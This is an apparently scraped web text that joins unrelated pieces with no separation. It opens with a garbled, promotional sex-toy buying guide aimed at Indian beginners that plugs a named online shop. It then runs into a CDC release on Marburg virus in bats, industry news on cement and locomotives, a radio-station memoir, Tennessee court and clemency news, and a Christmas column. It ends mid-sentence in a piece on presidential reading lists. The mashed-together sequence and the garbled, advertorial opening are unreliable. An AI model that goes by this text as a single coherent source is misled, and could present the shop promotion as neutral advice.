By inserting a finger or sextoy through the anus and touching the prostate and developing it, you can feel intense orgasms. Orgasms felt in the prostate are mainly dry orgasms, which are orgasms that do not involve ejaculation. (You can also feel orgasms with ejaculation through prostate stimulation.) The prostate is called the male G-spot, and dry orgasms can be much more intense than ejaculation. Therefore, men who are able to develop a prostate can become addicted to the pleasure. sextoy for beinner women in India The following are the recommended goods for Indian women who are new to sextoy. The following three are recommended for use by women who are new to sextoy. Vibrator. Dildo Electric Masserger Lets check out what each one is in detail. If you want to check out womens toys, click here. [BEST25]Sex Toys for Women in IndiaThat Can Help You Have an Orgasm There are many women who pretend to feel orgasm during sex. But don't worry, you don't have to pretend to feel orgasm... Vibrators A vibrator is a sextoy that vibrates with an Egg-Vibrator to provide stimulation and is often referred to simply as a vibrator. Some vibrate as well as rotate, and there are many variations of sextoy. It is quite a popular sextoy, and is well recognized by people who do not know much about sextoy. Its usage is similar to that of a massager, but it is more compact and easier to carry than a massager, and many of them look as cute as a lipstick or a macaroon, so they are popular among women. For a while, a famous influencer on twitter said, This is good! You may have heard of the topic of this article by introducing the recommended vibrators. Vibrators are great for women to use on their own, but they are also recommended for men who have difficulty satisfying women with sex. Since it is powered by electricity, it is far less tiring than moving your hands by yourself. This makes it easier to satisfy a woman with sex because you can caress her for longer than usual. Vibrators are mainly used on the female side, but they can also be used on men. When used on men, they are used to attack the nipples and glans, and in both cases it is recommended to wear a condom for hygiene reasons. Introducing how to use the vibrator, its purpose, and how to choose it! Vibrator uses the vibrations caused by the rotation of the motor to provide stimulation. It is one or two of the most... Dildo A dildo is a model sextoy made to mimic a male penis. It can be made of silicone, elastomer (think of it as a material similar to PVC), metal or glass. A dildo can be used by a man for his female partner during sex, or by a woman for masturbation to get pleasure from it. They are mainly inserted into women, but some can be used in the male anus as well. It is sometimes used synonymously with vibrators, but the vibrator is not the same thing as a vibrating device. A model of a penis that does not vibrate is a dildo. Some of them have suction cups that can be attached to the floor or wall so that you can enjoy realistic masturbation without using your hands. For fun, there is a dildo made in the shape of your partners penis. This one is also popular as a gift, and if youve been together for a long time and are having trouble finding a gift for your partner, you might want to pick one. To learn more about dildo, please click here. What is Dildo: Orgasms with Dildos for Men and Women A dildo is a model of a male organ that is used by women for masturbation and by men to stimulate the prostate gland. Th... Electric Masserger A Electric Masserger is a hand-held electric massager, also known as a handheld massager, and can usually be purchased at electronics stores. It was originally designed to relieve stiff shoulders and back pain, so the hurdle of buying one in a physical store is quite low. Many people may have seen or used it in some form or another, as it is often installed in leisure hotels. Such a massager is highly recommended for beginners because it is easy for women to get pleasure from it when they use it during masturbation. It is larger than Egg-Vibrator and vibrations are stronger than those of Egg-Vibrators and vibrators, so even just hitting the clitoris can give you a great deal of pleasure. For those women who have never had an orgasm during sex with their man, the massager may be a good way to get a feel for what it feels like to have an orgasm. It looks and feels like an electric massager, so you wont have to feel awkward if your roommate finds out. If you are in a rut of having sex with your partner, if you want to feel an orgasm through masturbation, or if you are thinking of using a sextoy, why dont you try it from a simple massager? To learn more about Electric Masserger, click here. What is a massager? Introducing types, selection methods, and usage Originally, the Magic-wand vibrator and the massage machine were sold as a home massage machine used for the back and th... How to choose a sextoy for Indian Now that weve covered the different types of sextoy, heres how to choose one. Especially if you are trying sextoy for the first time, pay attention to the following three points: Does the size fit you (the partner)? Does the size fit you (your partner)? Is the environment able to produce sound without problems? Price range First of all, the choice of size is quite important. Most sextoy are used against or inserted into the genitals, but the genitals are very delicate organs for both men and women. For this reason, using an inappropriate size may cause damage. Secondly, the environment should be able to produce sound without problems. Some sextoys not only wear, but also rotate and vibrate. Its easier to get pleasure from something that moves than something that doesnt, but the fact that it moves means that the internal rotors make some noise. If you live in a house with thin walls or if you have roommates, you may not be able to concentrate because of the noise, so it is best to choose one that is silent or has a low noise level. Especially in India, where many people live with their families, it is very important that you dont have to worry about sound when you use it. Finally, there is the price range. The price range of sextoy ranges widely, from around RS500 at the cheapest to RS10,000 or more at the highest. Its good to consider how much money you can afford and how much you want to buy. Do you want your family to not find out about sextoy? I live with my family and want to use sextoy without them finding out! If you are a man, you should buy a camouflage sextoy that does not look like a sextoy at first glance. For men, there are many masturbators that do not look like a sextoy, and for women, there are vibrators that only look like cosmetics. If you choose such a type, youll be safe in case your family members find out. How to buy sextoys in India The best way to purchase sextoy is through online shopping. For more information on how to purchase sextoy, please see the article below. Sextoy is one of them. Therefore, you can easily get sextoy in India by using online shopping. SexToysINDIA is a long established and stable sextoy store and you can have sextoy delivered to any place in India. They also offer cash on delivery, so those who are worried about shopping with a credit card do not have to worry. Of course, the latest security is in place, so your information will not be taken out when you use your credit card. To begin with, many people may be concerned about whether they are legally allowed to purchase sextoy. ikmAs it turns out, its not illegal. Right now, it is not open to the public because the Indian adult market is still in the development stage, but it will gradually spread from now on. Take advantage of sextoy and open the door to new pleasures and culture. Cautions for Indians using sextoy When using sextoy, keep the following three things in mind Keep sex toys clean Watch out for electrical leakage Beware of the heat generated by the body while using a sex toy As I mentioned earlier, many sextoy products are used for the delicate zone. Therefore, it is most important to keep the sextoy itself clean. It is very important to keep the sextoy itself clean, because if a slight scratch is created by friction, bacteria can enter and breed there. It is safe to wear a condom when using the masturbator, just in case. In addition, many sextoy devices are powered by a power source, so if they are not waterproof, there is a possibility of electric shock or malfunction due to wetness. Some may even develop heat during continuous use. If the fever becomes too much, you may get burned, so be careful. If you get a fever during use, stop driving the sextoy immediately and refrain from using it. You will enjoy sex more if you keep it safe and use it correctly. Summary What did you think? In this article, we have introduced the recommended sextoy for the beginners of sextoy in India. The sextoy market is growing rapidly in India and it will continue to grow steadily in the future. As India is a rather closed-minded country, it can be difficult to be open about ones sexual habits and values. However, being faithful to ones desires by properly dissolving ones sexual desire is very effective for ones physical and mental health. If this is your first time to learn about sextoy, or if you are interested in using sextoy, why not give it a try? Indian Sextoys for ur best! will introduce you to sextoy and other trivia about sextoy, sexuality, and sexuality for men and women. I want to read more! If you think its a great idea, please bookmark it. NS Corinthians He confirmed that Sylvinho would remain at the club in 2022. Although he was questioned by the fans... Press Release Embargoed Until: Thursday, December 21, 2018, 1:00 p.m. ET Contact: Media Relations (404) 639-3286 Scientists have discovered live Marburg virus in fruit bats in Sierra Leone the first time the deadly virus has been found in West Africa. Five Egyptian rousette fruit bats tested positive for active Marburg virus infection. Scientists caught the bats separately at locations in three health districts: Moyamba, Koinadugu and Kono. There have been no reported cases of people sick with Marburg in Sierra Leone, but the viruss presence in bats means people nearby could be at risk for contracting Marburg virus. Marburg virus is a cousin to Ebola virus that causes a similar, often fatal disease in people. The Marburg virus discovery came through two projects one led by the Centers for Disease Control and Prevention and Njala University, and another by the University of California, Davis, and the University of Makeni, funded by USAID. We have known for a long time that rousette bats, which carry Marburg virus in other parts of Africa, also live in West Africa. So its not surprising that wed find the virus in bats there, said CDC ecologist Jonathan Towner, who led the CDC team. This discovery is an excellent example of how our work can identify a threat and help us warn people of the risk before they get sick. Scientists have shown that the Egyptian rousette bat (Rousettus aegyptiacus) is the natural reservoir for Marburg virus, which means the bats can carry the virus for a long time without getting sick themselves. They can then pass it on to humans or other animals through their saliva, urine, or feces. Testing of samples from four of the five Marburg-positive bats found multiple genetically diverse strains. This suggests that Marburg virus has been present in these Sierra Leone bat colonies for many years. Fruit bats common in Africa Egyptian fruit bats live in caves or underground mines throughout much of Africa. Marburg virus has been detected in Egyptian rousette bats caught in sub-Saharan Africa, primarily in Uganda and the Democratic Republic of Congo, but also Gabon, Kenya and South Africa. In eastern and central Africa, these bats can roost in colonies of more than 100,000 animals. However, the colonies of Egyptian fruit bats identified in Sierra Leone so far have been much smaller, which may explain why there have not been any known Marburg virus disease outbreaks in this country. That the discovery was made in bats before the recognition of any known human illnesses or deaths is exactly what PREDICTs One Health approach to disease surveillance and capacity building are designed to do, said Brian Bird from the UC Davis One Health Institute and Global Lead for Sierra Leone and Multi-Country Ebola operations for PREDICT-USAID. To date, there have been 12 known Marburg virus outbreaks with direct links to Africa, with the most recent in Uganda in 2017. The largest and deadliest Marburg virus outbreak occurred in Angola in 2005. It killed 90 percent of the 252 people who were infected. Two of the four strains identified among the five Marburg-positive bats in Sierra Leone are genetically similar to the strain that caused the outbreak in Angola. It is the first time scientists have detected these Angolan strains in bats. Infected Egyptian rousette bats may shed Marburgvirus in their saliva, urine and feces as they feed on fruit. Contaminated fruit may then be eaten by people or other animals, raising the possibility of spreading Marburg virus to them. People might also be exposed to Marburg virus through bat bites when they capture bats to eat. The CDC/Njala and UC Davis/University of Makeni projects both began in 2016 following the massive Ebola outbreak in West Africa, each seeking to discover the Ebola reservoir (the animal that helps maintain the virus in nature by spreading it without getting sick). For more information about Marburg virus, visit: www.cdc.gov/vhf/marburg. ### U.S. DEPARTMENT OF HEALTH AND HUMAN SERVICES external icon CDC works 24/7 protecting Americas health, safety and security. Whether disease start at home or abroad, are curable or preventable, chronic or acute, or from human activity or deliberate attack, CDC responds to Americas most pressing health threats. CDC is headquartered in Atlanta and has experts located throughout the United States and the world. Ecocem announces total CO2 emissions saving 20 December 2018 Irelands Ecocem, Europes largest independent specialist producer of low-carbon cement, has announced that its efforts over 16 years to encourage replacing high-carbon cement with low-carbon cement has resulted in a saving of 10Mt of carbon emissions, according to a press release. The companys ground-granulated blastfurnace slag (GGBS) cement has a carbon footprint approximately 95 per cent lower than traditional cement at 32kg/t, and can be used as a one-to-one replacement in formulating concrete. It currently operates four plants across Europe with a total capacity of 2.4Mta. Published under I spent almost 40 years working for WDOD, known to many as the Wonderful Dynamo of Dixie. The station signed on the air April 13, 1925. WDOD was Chattanoogas first radio station. Sam and Parks Hall have written extensively about WDOD on the website deepzoomchattanooga.com. I have fond memories of the station when it was in the Hamilton National Bank building. Founders Earl Winger and Norman Thomas moved WDOD up Market Street after broadcasting from the Hotel Patten. It was known then as the attic station. Mr. Winger told me he went to a CBS affiliates meeting in New York and was impressed with their studio. He said to his partner, "Why cant we have something that nice in Chattanooga? The men went to Hamilton National Bank officials with a studio proposal. The downtown bank liked the idea so much they built a mezzanine right above the first floor. Going up the elevator you pressed the M and the door opened right into the station. WDOD would give their ID "With studios in the Hamilton National Bank Building, This is WDOD, Chattanooga. It was a free ad for the bank every 30 minutes. These studios were special to me. Our church had a broadcast every Sunday known as the Nazarene Hour. We would leave morning worship and rush downtown. My mother, Norma Freudenberg, was one of the musicians on the program who played the piano. I still have some 16" records of her playing. Those records were made on a special player. I have a picture of the player with several engineers standing around including Ernie Feagans. While the Nazarene hour was on the air I would sneak around to the station control room and watch the engineer. One of them told me one day, You can watch all you want to, but if you touch youll have to leave. I never touched. I knew from those visits I wanted to be in radio - never dreaming I would spend a big part of my career at the station where my mother once played the piano. My mother, Norma Ruffner Freudenberg, even played for several of the station live programs. Those studios were a real broadcast showplace. They had three big studios, newsroom, control room, two baby grand pianos and an organ. Roy Morris did an audience participation show every day in one of the big studios. Times changed and Mr. Winger and Mr. Thomas sold WDOD to Interstate. They moved the station to 428 McCallie Ave. It was a nice studio layout but nothing to compare to the studios downtown in one of Chattanooga's skycrapers. Hamilton County Clerk Bill Knowles remembers working at the soda fountain located next to the elevators. Mr. Knowles said he got to know some of the employees and famous people who visited the station right above where he made milk shakes. I have saved some pictures from various sources that hold many memories not only for me but for those old enough to remember the state-of-the-art studio of that day. Chuck Simpson, Tom Nobles, Bob Bobsworth, Gaylord McPherson, Ernie Feagans John Gray, Larry Johnson and so many more graced these studio halls. The late Helen Thornton told me her husband Harry would ride the bus from school to the studio. Hed hang around until sign off and one of the employees would take him home. Mrs. Thornton said one night they let Harry do some station breaks and shortly thereafter he was hired. She said Mr. Winger liked his bass voice. Mr. Winger also told me he tried to hire Luther several times from WDEF but he wasnt interested. Cy N. Bahakel acquired WDOD in 1963 moving the station to the transmitter site next to Baylor School. The last air date was May 31, 2011. The property was sold to Baylor School. It was a real honor be on the air at WDOD. So much of our city's broadcast history was written there. By Azernews By Narmina Mammadova Frances Alstom continues to develop its business relations with Azerbaijan. The company delivered the first of the 40 contracted Prima T8 AZ8A freight locomotives that will run on Baku-Tbilisi-Kars regional railway link to the Azerbaijan Railways, the press-service of the company reports on December 19. The locomotive arrived in Bilajary (Azerbaijan), after being shipped from Astana, Kazakhstan, on December 7. Alstom will now conduct validation tests on the Azerbaijani railways infrastructure during the next few months. We are delighted to continue being a strategic partner of Azerbaijan Railways and to deliver the first freight locomotive to Azerbaijan that will help satisfy the increasing need for freight transportation in the country, Alstom Managing Director for Western and Central Asia Bernard Peille said. French company Alstom earlier presented its first electric freight locomotive Prima T8 AZ8A for Azerbaijan Railways. The presentation of the locomotive was held at the Electric Locomotives Assemblage Factory (EKZ), located on the territory of the Astana special economic zone. The company operates in about 100 countries and has been operating actively in the Azerbaijani market for over 20 years. The first AZ8A locomotive became a part of the contract signed by EKZ with Azerbaijan Railways in 2014 for the supply of 50 locomotives, including 10 passenger locomotives Prima M4 AZ4A. AZ8A is a heavy-duty freight locomotive from the Prima T8 series, which is based on the KZ8A locomotive, currently operated in Kazakhstan. AZ8A is designed for operation at temperatures from -25 to 50 degrees Celsius. The locomotive is designed according to the specific technical requirements provided by the ARW Company, and also meets the GOST and TU standards. Prima T8 is one of the most powerful electric locomotives in the world. The model consists of two sections, is able to pull a train weighing up to 9,000 tons and reach a speed of 120 km/h. Founded in 1928, Alstom develops and markets systems, equipment and services for the transport sector. The company offers a complete range of solutions (from high-speed trains to metros, tramways and e-buses), passenger solutions, customized services (maintenance, modernization), infrastructure, signaling and digital mobility solutions. The solemn ceremony was held to mark the opening of the Baku-Tbilisi-Kars railway on October 30, 2017 at the Baku International Sea Trade Port, designed to connect not only the three countries, but also entire continents. The total length of the BTK railway is 846 km, with 504 km running through the territory of Azerbaijan, 263 km - Georgia and 79 km - Turkey. Azerbaijan Railways Closed Joint Stock Company earlier told Trend that the organization of passenger transportation on the Baku-Tbilisi-Kars route is planned for the third quarter of 2019. Providing the shortest rail link between Europe and Asia, BTK plays an important role in the implementation of China's "One Belt, One Road" strategy and International North-South Transport Corridor. In fact, the BTK railway route is the shortest way to deliver cargo from the Russian regions located in the Volga, Ural and Siberian Federal Districts to the Mediterranean ports of Turkey, and further to the countries of Africa and the Middle East. At present, the BTK provides transportation from Kazakhstan to Mersin port. Some cargoes are delivered from Russia to Turkey and Europe. The BTK railway has been constructed on the basis a Georgian-Azerbaijani-Turkish intergovernmental agreement. The project implementation began in 2007 and construction began in 2008. The line is intended to transport one million passengers and 6.5 million tons of freight at the first stage. This capacity will then reach 3 million passengers and 17 million tons of cargo. The main purpose of the project was to improve economic relations between the three countries and attract foreign direct investment by connecting Europe and Asia. Delicious scents filled the air during the Physical Therapy Assistant holiday brunch as faculty prepared breakfast while their students got into the spirit by decorating the class tree and wrapped gifts for two families in the community that they adopted. This end of the year event allows students to spend time with one another to provide a relaxing environment before the pressures of exam week intrude. This year, students also chose to reach out to fellow PTA students in Florida. Following the devastation from Hurricane Michael, the class began thinking about how to help fellow PTA students at Gulf Coast State College after its campus sustained major damage on Oct. 20. Chattanooga State students raised money during their fall bake sale and voted to purchase Walmart gift cards for Gulf Coast State College PTA students, who not only suffered damage to their building, but for many who lost their jobs as a result of the hurricane as well. When PTA students shared the needs of the Gulf Coast State students with the Chattanooga district of TPTA (Tennessee Physical Therapy Association), the district contributed money to the effort as well. By helping others in need, PTA students experienced the good feeling that comes from a giving spirit during this holiday season. Governor Bill Haslam and Department of Veterans Services Commissioner Many-Bears Grinder announced she will retire from public service on January 19, 2019. After 35 years in the Army National Guard and eight years as the first woman to serve as commissioner for the Department of Veterans Services, Ms. Grinder is leaving to spend more time with family and pursue educational options, but plans to remain connected to the military and veteran communities. During Ms. Grinders tenure the Department applied for and received nearly $30 million in federal grants from the U.S. Department of Veterans Affairs (VA) National Cemetery Administration (NCA) to improve customer service options at the existing state veterans cemeteries and open the first rural state veterans cemetery in Parkers Crossroads. Since 2011, department employees and county service officer partners have assisted Tennessee veterans and their eligible dependents with more than $9 billion in federal tax-free benefits administered by the U.S. Department of Veterans Affairs (VA). In 2012, Ms. Grinder expanded the Departments focus to include veteran education, employment, business resources and support of Veteran Treatment Courts. Since her appointment, she has also served as an ex-officio voting member of the Tennessee State Veterans Home Board which partners with the Executive Director to manage four homes statewide. Tenacity, commitment and passion can only begin to describe Bears and her service to Veterans and their families, Governor Haslam said. She has made incredible strides to transform Veterans Services and paved an innovative path to more improvement in the years to come. Im extremely grateful for her service and Im proud to have had the chance to serve with her. Ms. Grinder retired as a colonel in the Tennessee National Guard in 2011 to accept Governor Haslams appointment as commissioner. Her 35 years of military service of 24 years of active duty included a one-year deployment in Afghanistan in support of Operation Enduring Freedom as the Head of Secretariat for the International Police Coordination Board. After decades of taking care of Soldiers, there was only one opportunity that could have motivated me to retire from the uniform and that was the chance to take care of veterans and their families, Ms. Grinder said. It has been an honor to meet Tennessee veterans of all eras, to hear their stories and to recognize their service in celebration and in mourning. She has earned a master's degree in Strategic Studies from the U.S. Army War College and a master's degree in Human Resource Development from the University of Tennessee, Knoxville. She was awarded an honorary doctorate in Public Service from Maryville College in 2016 and was inducted into the Fort Benning Hall of Fame in 2004. Her military awards include the Legion of Merit and the Bronze Star Medal. Ms. Grinder lives in Gallatin with her husband Ernie. She will continue to serve on the Chief of Staff, Army Retired Soldiers Council and the Tennessee State Museum Foundation Board. The Lee University Helen DeVos College of Education honored the winners of the Dr. Jimmy W. Bilbo Excellence in Student Teaching Award. The fall 2018 recipients are Ashley Barron, Jessica Gilbert, Ella Wheeler, and Brooke Wilsman. Each semester three or four student teachers are chosen to receive the Bilbo Award. Established in the spring semester of 1996, this award recognizes excellence in student teaching and is presented each semester at a student teacher banquet. Ms. Barron student-taught 3rd grade at Blythe/Bower Elementary School and 4th grade at Eastside Avenue School in Chattanooga. Ms. Gilberts student-teaching included 5th grade at Michigan Avenue Elementary and 3rd grade at Orchard Knob Elementary in Chattanooga. Ms. Wheeler student-taught special education at Calhoun Elementary School and North City School in Athens, while Ms. Wilsmans student-teaching included kindergarten at Black Fox Elementary School and 5th grade at Snowhill Elementary School in Hamilton County. The Excellence in Student Teaching award is given in honor of Dr. Jimmy W. Bilbo who was instrumental in developing and leading Lees Teacher Education Program for 35 years. Winners are nominated by their cooperating teachers and principals to receive this honor. Three County Commission members on Tuesday said Sheriff Jim Hammond should fire Detective Blake Kilpatrick in connection with an arrest on Dec. 3 that was filmed by a neighbor and went viral. Commissioner Warren Mackey said of the incident, "It's inhumane. It's very disturbing. All of us are very disturbed at what we saw." He said, "I demand that Sheriff Hammond fire that man." Commissioner Mackey, noting that the prisoner had his hands cuffed behind his back, said the incident "has brought a national focus to Hamilton County. Somebody called from New York and asked if we should invite Al Sharpton to come down." Commissioner Katherlyn Geter said watching the video "was very, very disturbing." She said the arrestee could have been one of her sons. "I can imagine them in that situation." She said, "I also demand that he be fired." Commissioner David Sharpe said, "From what I saw it's unacceptable." He said the officer should not have reacted as he did even if he was reacting to the prisoner's actions. He said he agreed with the stance of Commissioners Mackey and Geter. On Tuesday, charges against Charles Toney in connection with the incident were dismissed. District Attorney Neal Pinkston has asked the U.S. Department of Justice to investigate. Sheriff Hammond said he has assigned Detective Kilpatrick to a desk job. On Tuesday, City Councilman Russell Gilbert said he wants the council to look into the issue of proper law enforcement procedure in such arrests. A joint investigation by special agents with the Tennessee Bureau of Investigation, the Meigs County Sheriffs Department, and the 9th Judicial District Attorney Generals Office has resulted in the arrest of a Decatur man on a homicide charge. At the request of 9th District Attorney General Russell Johnson, on Dec. 15, TBI agents joined Meigs County deputies in investigating the death of Michael Lee Joyner, 40, at his Warren Lane home in Decatur. An autopsy determined that the victim died as the result of a stab wound. During the course of the investigation, agents developed information that identified Randall Burnette, an acquaintance of the victim, as the individual responsible for Mr. Joyners death. On Tuesday, law enforcement officers charged Randall Dewey Burnette, Jr., 41, with one count of second-degree murder. He was booked into the Meigs County Jail on a $5,000,000 bond. For as long as I can remember Ive had a stock answer when anybody asks me what I want for Christmas: A chance. I think it may be the best wish a fellow could ever want. You give anybody a chance and it always comes wrapped with a thick covering of hope. Further, it doesnt take a lot of dots to connect a chance to the real meaning of Christmas the birth of the Christ child gave everyone in the world a chance. Why is it the best gift? Easy answer: you have to work like (Charles) Dickens to make a chance big or small bear fruit. If you aint willing to do your part, the best chance in the world will shrivel up and die. But, dont you see, thats the best part of all anyone who makes the most of a given opportunity has been given a far-greater gift than something that is pretty-wrapped under the tree that has no buy in. There is a big difference, pilgrim, in a chance and in a hand-out. Two weeks ago a judge at the Saline County Courthouse in central Arkansas gave seven children, all horribly abused, the greatest Christmas present of their lives. The seven, all siblings in a hellhole where their drug-ridden parents would actually sell the food and anything else that came from welfare workers, all got the same gift a new last name. Today each is a Hawthorn. In the past 35 years of their marriage, Terri and Michael Hawthorn were blessed with four biological children but, as their own children grew, there were always others at the table. For instance, not long after they got married, there was a little girl who needed a baby sitter. The Hawthorns obliged, then the single mother got sick. Then she went to prison. They baby-sitted that child for 24 hours a day over the next seven years. There was another kid who they heard about who stayed for over five years. Thats when Terri and Michael, devout Christians, sensed they had a calling. I dont consider us unique. I feel God blessed us with the ability to love unconditionally. Children are a gift from God, she told Fox News. These children dont ask to come into foster care they come from horrible, horrible situations and we feel like were more of a rescue home for them. Some years ago, when the Hawthorn family was first approached to be foster parents, they made a pact with each other. Our first words were ok we'll do it for a couple of years but we will not adopt, said Terri Hawthorn, and since then there has been a steady stream of children whose lives they have touched. Early this spring, everything changed. For the past three years they have fostered two children with health issues. One, Korgen, who was just three weeks old when he arrived, is non-verbal and has breathing problems. He has been in the Hawthorn household for three years. Almost two years ago they got to add his sister, Haizlee. In the way the Foster program works, this March the Department of Human Services worker came to tell the family that they had a potential adoptive match for Korgen which is rare for a bi-racial child with crippling health issues. Terri panicked. No, no, no thats me. I could not love this child more if I birthed him! We love him unconditionally. Thats about the time another set of siblings slipped into their life all seven of them! One, Dawson, had only brushed his teeth twice in his life. Most spent the nights on bare floors and they would often not eat there was no food. Worse, they were constantly divided no foster home can take seven and they were forced to spend over 1,000 days split apart. Somehow the Hawthorn family took in the twins, Lacey and Layna, ages 10. Within two days the two began calling Terri mom and Michael dad. Michael would later quip: Thats when I knew things were going to change! One day Kyndal, who is 11, came to visit her sisters and told Michael it was the best day of her life. What was unusual she had been there only two hours. She also asked Mr. Hawthorn, Will you adopt me? Suffice it to say that Terri and Michael began an exhaustive effort to see if they could get these seven kids together. The biological Hawthorn children, in their early 30s and late 20s, were totally supportive and live near their parents in homes of their own on a shared 45-acre parcel of land in the Hot Springs National Park. Get this picture lot of cows and dogs and four-wheelers. So on the Sunday before Thanksgiving, Michael called a family pow-wow and announced that God had worked things out for them to each be a Hawthorn. The children went wild with joy. When I got here I was like, oh my gosh, we get our own beds! said Layna. A week or so ago, one of the four birth children, Micah, said that as she gave thanks during a church service, she looked to her left. Oh my goodness we have so many kids this looks crazy . I mean, the whole pew, all the way down! In the Bibles book of Jeremiah, the eleventh verse of chapter 29 assures Hawthorns both old and new alike, For I know the plans I have for you," declares the Lord, "plans to prosper you and not to harm you, plans to give you hope and a future. And that, my friend, is what we know to be one heckuva chance, multiplied times seven. royexum@aol.com Governor Bill Haslam on Thursday granted executive clemency to 11 current or former Tennesseans. I am pleased to grant these acts of clemency, GovernorHaslam said. These individuals have made positive contributions to their communities and deserve pardons, or are individuals who will receive another chance to become contributing members of society by virtue of their commutations. Pardons were issued to the following individuals: Jack Farris Purkey, of Hawkins County, for his 1983 convictions for embezzlement and failure to receipt. Since his convictions, Mr. Purkey obtained a law degree and master of library science degree and subsequently worked as a librarian for Kennesaw State University and the Union County Board of Education. Purkey has been commended by many community leaders for his contributions to the community. The Tennessee Board of Parole issued a positive recommendation for granting a pardon in favor of Mr. Purkey. Amir Paydar, of Florida, for his 2002 convictions for DUI and minor in possession and transporting beer in Shelby County while he was an 18-year-old college student. Mr. Paydar is now a board-certified radiologist, after having graduated with highest honors from the University of Tennessee Health Science Center and completing a neuroradiology fellowship at New York University. The Tennessee Board of Parole issued a positive recommendation for granting a pardon in favor of Mr. Paydar. Willie Stewart, Jr., of Arizona, for his 2004 conviction for felony possession of cocaine under 0.5 grams in Rutherford County. Mr. Stewart has been employed for a number of years by the City of Phoenix as an operations and maintenance technician in its water department, having earned an associate degree and other certifications in applied science. He also serves as a minister at a Phoenix-area Christian center. The Tennessee Board of Parole issued a positive recommendation for granting a pardon in favor of Mr. Stewart. Michael Martin Lacey, of Florida, for his 1996 conviction for possession of a Schedule I controlled substance with intent to deliver in Rutherford County. Mr. Lacey has been employed in Florida in the IT sector for approximately 20 years, where he has excelled and received numerous technical certifications. Currently, he serves as the IT manager for a corporation in Tampa. Phyllis Cross, of Nashville, for her 1998 convictions for forgery and 2003 conviction for criminal impersonation in Davidson County. Ms. Cross has obtained associate and bachelor degrees in psychology and now works with others to overcome substance abuse issues and serves as a Certified Peer Recovery Specialist through the Department of Mental Health and Substance Abuse Services. Jeffrey Hall Connell, of Knoxville, for his 1989 convictions for DUI and aggravated assault and separate 1989 convictions for marijuana possession and public drunkenness in Knox County. Mr. Connell, a Vietnam veteran, has been employed in maintenance and handyman roles in Knoxville for many years and is active in his church. The Tennessee Board of Parole issued a positive recommendation for granting a pardon in favor of Mr. Connell. Richard Knott, of Oklahoma, for his 1983 convictions for sale of marijuana and possession of marijuana with intent to sell in Knox County. Mr. Knott is a veteran, currently works as a shop superintendent for a steel company after working in the metal fabrication industry for decades, is active in his church, and is involved with an organization that supports child abuse victims. The Tennessee Board of Parole issued a positive recommendation for granting a pardon in favor of Mr. Knott. Commutations were issued to the following individuals: Janet Edmond Kostyal, of South Carolina, received a commutation ending her parole supervision, which has been ongoing since 1985, when her sentence of life imprisonment for a 1974 murder in Hamilton County was commuted to parole supervision by Governor Lamar Alexander. Ms. Kostyal has complied with all conditions of her parole supervision and led a positive life during the last three decades. The Tennessee Board of Parole issued a positive recommendation for granting a commutation in favor of Ms. Kostyal. Nicky J. Randolph, of Missouri, received a commutation ending his parole supervision, which has been ongoing since 2000, when his sentence of life imprisonment for a 1985 murder as a juvenile in Roane County was commuted to parole supervision by Governor Don Sundquist. Mr. Randolph now owns an IT business and nonprofit ministry. The Tennessee Board of Parole issued a positive recommendation for granting a commutation in favor of Mr. Randolph. Marvin Kitchen received a commutation to restore eligibility for parole consideration by the Board of Parole for his 1973 life imprisonment sentence resulting from his convictions of armed robbery in Knox County, as his sentence effectively became life imprisonment without the possibility of parole in 1993 following additional convictions. In recent years, Mr. Kitchen has made progress in terms of rehabilitation. The Tennessee Board of Parole issued a positive recommendation for granting a commutation in favor of Mr. Kitchen. Keith Jackson received a commutation reducing the mandatory minimum sentence he has to serve for possession of cocaine with intent to sell in a drug free zone in Davidson County from 25 years to 17 years, so that he is immediately eligible for parole consideration by the Board of Parole. This offense occurred approximately 940 feet from a school and had no connection with the school but nevertheless took place within the statutory 1,000-foot-threshold, resulting in an enhanced sentence of 36 years of incarceration. Mr. Jackson has a record of good conduct and self-improvement in prison. The Tennessee Board of Parole issued a positive recommendation for granting a commutation in favor of Mr. Jackson. None of these actions results in the immediate release of any person from prison. Executive clemency is an act of mercy or leniency by the governor after a criminal conviction. A commutation is a reduction of the length or type of sentence imposed for a conviction, while a pardon is a statement of forgiveness that may assist with restoration of rights or expungement of a criminal record by a judge or overcoming the collateral consequences of a conviction with respect to obtaining housing and employment. Governor Haslam has previously granted one commutation, eight pardons, and one exoneration. The governor continues to review and consider additional clemency requests. The Tennessee Supreme Court has revised the factors for courts to consider when deciding the enforceability of a release of liability signed by someone before participating in an activity or obtaining a service. In Tennessee, parties may enter into agreements, often referred to as exculpatory agreements, in which a party agrees not to pursue a negligence claim for potential injuries against another party. In 1977, the Tennessee Supreme Court adopted a list of six factors for courts to consider when deciding whether to enforce exculpatory agreements. These factors, however, have proven rather inflexible, are used by only a handful of other state courts, and have not been consistently applied by courts in Tennessee. In a case brought by Frederick Copeland against MedicOne Medical Response Delta Region, Inc. (MedicOne), the Supreme Court adopted a new set of factors for courts to consider when deciding the enforceability of an exculpatory agreement. While Copeland was recovering from knee surgery at HealthSouth Rehabilitation Hospital North Memphis, the hospital arranged for MedicOne, a medical transportation company, to take him to a doctors appointment. Before leaving the hospital, MedicOnes driver required Copeland to sign an agreement that, in part, released MedicOne from any liability. After the appointment, Copeland fell as he was getting into MedicOnes van. He sued MedicOne, and MedicOne moved to dismiss the case based on the language in the agreement releasing it from liability. A Shelby County Circuit Court and the Court of Appeals ruled that the release was enforceable and barred Copelands claim against MedicOne. The Tennessee Supreme Court agreed to hear the case to clarify and restate the law for courts to rely on when deciding the enforceability of exculpatory agreements. In an unanimous opinion authored by Justice Sharon G. Lee, the Court held when considering whether to enforce such a release, a court should consider all the facts and circumstances of the case and these factors: (1) the bargaining power of the person signing the release; (2) whether the language in the release clearly states what the person who signs it is giving up; and (3) public policy and public interest implications. Here, after applying these factors, the Court held that the release was not enforceable because Copeland did not have equal bargaining power with MedicOne when he signed the release, the language of the release was unclear and overly broad, and the release involved an activity with important public interest implications. Thus, the Court held that the release did not prevent Copeland from suing MedicOne. Oral arguments for this case were heard as part of the Courts S.C.A.L.E.S. (Supreme Court Advancing Legal Education for Students) project at Lipscomb University during the American Legion Auxiliary Volunteer Girls State program. To read the unanimous opinion of the Court in Frederick Copeland v. HealthSouth/Methodist Rehabilitation Hospital, L.P., authored by Justice Sharon G. Lee, please visit the Opinions section of tncourts.gov. Providing reading lists to the public is somewhat of an unspoken presidential tradition. Former presidents Barack Obama, George W. Bush, and Bill Clinton were all known to recommend books that piqued their interests to the public. Now that Donald Trump is president he is carrying the torch. While he hasnt presented an official list, the new president has endorsed several books throughout the year on Twitter, not surprising considering his history on the social media platform. The Russia Hoax: The Illicit Scheme to Clear Hillary Clinton and Frame Donald 